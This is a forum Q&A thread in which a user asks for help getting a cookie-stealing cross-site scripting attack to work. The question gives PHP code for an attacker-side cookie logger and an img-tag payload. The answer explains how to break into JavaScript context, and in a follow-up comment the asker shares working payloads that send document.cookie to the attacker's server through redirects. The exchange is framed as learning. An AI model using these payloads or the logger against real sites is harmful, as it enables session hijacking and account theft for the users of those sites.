I am trying to steal cookies for learning purpose and for that I have setup an attacker server where my malicious website is running stealing cookies of users and it works when I visit like

It records whatever c parameter holds, in above case document.cookie string.

The simple cookie stealer has following lines of code in it

$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");

The problem is when I use same link in img tag src attribute, it doesn't log anything in log.txt file. I am using following post on the vulnerable site;

<img src=""+document.cookie onerror="alert('Your cookie has been served')" />

But it does not log anything on server. However the file does change as the editor prompts me to reload but there is nothing written over it. There is no HTTPOnly=true for any cookie on this site.

Any suggestions? THanks.

  • 9
    This is not how html and javascript work, You cannot concatenate the src attribute with the js string document.cookie like that. You should first learn the basis about html/css/javascript.
    – Xavier59
    May 27, 2018 at 10:55
  • @Xavier59 - you're correct, but this is a site about learning - if people know the answer, they wouldn't have to ask the question. It's common to understand the basics of javascript and html and get confused about the context in which you're running
    – Egret
    May 27, 2018 at 15:57
  • 1
    @Egret It is more of a programming question here and thus would best fit on stackoverflow. Moreover, would you explain a buffer overflow to someone who doesn't know what a computer is ? First, he needs to learn the basics and it has nothing to do with info sec.
    – Xavier59
    May 27, 2018 at 19:33
  • @Xavier59 - I prefer to think this kind of a question is a great teaching opportunity - check out "Let’s stop judging users for not knowing things. (We’re a Q&A site!)" stackoverflow.blog/2018/04/26/…
    – Egret
    May 28, 2018 at 21:58

1 Answer 1


You are using a javascript routine (document.cookie) in HTML without breaking out into the javascript context. It's helpful in these cases, to look at the source of the page that's generated - that often makes it easier to understand.

In order to leverage your cookie stealer, you would need an XSS on the victim's site. In the most common case, that allows you to break out of the HTML tag, and start writing javascript (i.e. ">

As a side note, you can always just check your access logs for requests coming into your cookie stealer - no need for a separate php program to record these.

  • Thankyou @Erget, I differentiate the context of html and javascript and was able to send cookie to the server with following types of snippets.<a href=# onclick=\"document.location=\'\'+escape\(document.cookie\)+\'\&t=testing again\'\;\">A useful cyber security link</a> and <script javascript:text>document.location="" + document.cookie + "&t=testingwithscript"; </script>.
    – aneela
    May 28, 2018 at 9:21

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .